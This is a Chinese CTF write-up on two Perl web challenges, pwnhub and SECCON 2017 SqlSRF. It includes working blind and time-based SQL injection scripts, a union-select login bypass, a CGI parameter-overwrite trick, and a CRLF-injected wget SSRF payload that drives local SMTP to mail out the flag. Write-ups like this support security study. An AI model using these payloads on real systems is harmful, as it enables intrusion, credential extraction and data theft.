最近pwnhub出了个perl的Web题,查看源码title的时候顺便发现了SECCON2017的SqlSRF,也顺便也研究了下perl语言的一些特性。
0x01 Pwbhub归来
题目地址:http://54.222.248.100/
怕题目下线了把源码先cp下来。1
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
user处很明显的sqli,撸个测试脚本注入下(最早之前是用延时注入脚本跑的,和0x2 SqlSRF里的脚本差不多)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23#!/usr/bin/env python
#coding=utf-8
import requests
url='http://54.222.248.100/cgi-bin/'
dic='abcdef0123456789'
password=''
for i in range(0,32):
for j in dic:
payload="' or password like '{}%' union select 'f561aaf6ef0bf14d4208bb46a4ccb3ad"
payload=payload.format(password+j)
data={
"user":payload,
"pass":"xxx",
"login":"Login"
}
res=requests.post(url,data=data)
if "Error!" in res.content:
password+=j
print password
break
得到63730edfab254f34761c17e89de28086
扔到各种解md5处都解不出来..
过了下代码,如果解出来了这题就直接pass了,不就变得太容易了…
所以老老实实看perl(强行看懂)。。。
我们先看第一个判断:1
2$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {}
$q->param('pass')
这个是我们输入可控字段咋样都好说,$row[0]
的值我们可以 union select 'XXXX' --
这样控制。
payload:1
user=admin'+union+select+'47bce5c74f589f4867dbd57e9ca9f808'+--&pass=aaa&login=Login
进入第一个if判断。。
再来看第二个判断1
2
3
4$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";
很明显要让autheduser里的值为admin,这里就考到perl的“特性”
一图解千言
对,变量覆盖
最终payload1
user=admin'+union+select+'47bce5c74f589f4867dbd57e9ca9f808'+--&user=autheduser&user=admin&pass=aaa&login=Login
0x02 SECCON 2017 Web SqlSRF
题目地址:http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi
源码
pwnhub把这题改了部分,变成另一题,这题其实也不错,名字取得真好~
SQL语句和之前一样,在判断这边1
2
3
4
5if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
encrypt函数应该是在require './.htcrypt.pl';
里,无法访问。不过在cookie里可以发现有这一行1
2
3
4
5-cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
])
save=1的时候,返回encrypt($user)
所以在user里输入admin 返回了
之后
username:’union select ‘58474452dda5c2bdc1f6869ace2ae9e3
password:admin
即可进入menu.cgi
不过貌似权限不高,还是得注入出admin的密码才行。
延时注入脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests
from time import time
def send_payload(payload):
url = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi"
data = {"user":payload,"pass":"admin","login":"Login","save":"1"}
s = time()
r = requests.post(url, data=data)
e = time()
if e-s > 3.0:
return True
else:
return False
password = ""
while True:
payload = "admin' and password like '"
payload1 = "%' and 1=randomblob(600000000)--"
for i in "abcdef0123456789":
payload_send = payload + password + i + payload1
flag = send_payload(payload_send)
if flag == True:
password+=i
break
print password
if len(password) == 32:
break
得到一串神秘代码~
(d2f37e101c0e76bcc90b5634a5510f64)
1 | $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne ''); |
需要解密?直接扔到cookie rember去
得到密码后直接登录
登录后 通过netstat 可以看到本地25端口(SMTP)开放,2处有wget,命令后面可控,SSRF。wget 有个CRLF
Vulnerability Report - CRLF Injection in Wget Host Part%0a%0d
即可任意执行(这脑回路反正我是没想到,应该比赛的时候有tips吧)1
2
3
4
5
6
7
8
9
10
11
12127.0.0.1
HELO admin
MAIL FROM:<myemail@gmail.com>
RCPT TO:<root@ymzk01.pwn>
DATA
From:myemail@gmail.com
To:root@ymzk01.pwn
Subject:give me flag
give me flag
.
QUIT
:25/
email 改成自己邮箱即可收到
payload:1
127.0.0.1%0D%0AHELO%20admin%0D%0AMAIL%20FROM%3A%3Cmyemail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%40ymzk01.pwn%3E%0D%0ADATA%0D%0AFrom%3Amyemail%40gmail.com%0D%0ATo%3Aroot%40ymzk01.pwn%0D%0ASubject%3Agive%20me%20flag%0D%0Agive%20me%20flag%0D%0A.%0D%0AQUIT%0D%0A%:25/
再次解密即可
也可以利用万能的py,顺便复习下bs41
2
3
4
5
6
7
8
9
10
11from bs4 import BeautifulSoup as bs4
def get_password_decrypted(password):
url = "http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi"
data = {"user":"","pass":"test","login":"Login"}
cookie = {'remember': password}
r = requests.post(url, data=data,cookies=cookie)
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
password_dec = soup.find('input', {'name':'user'})['value']
return password_dec
0x03 Perl Security
[1] The Perl Jam
[2] The Perl Jam 2
其中在最后给出了个很好的建议:STOP USING PERL 🤣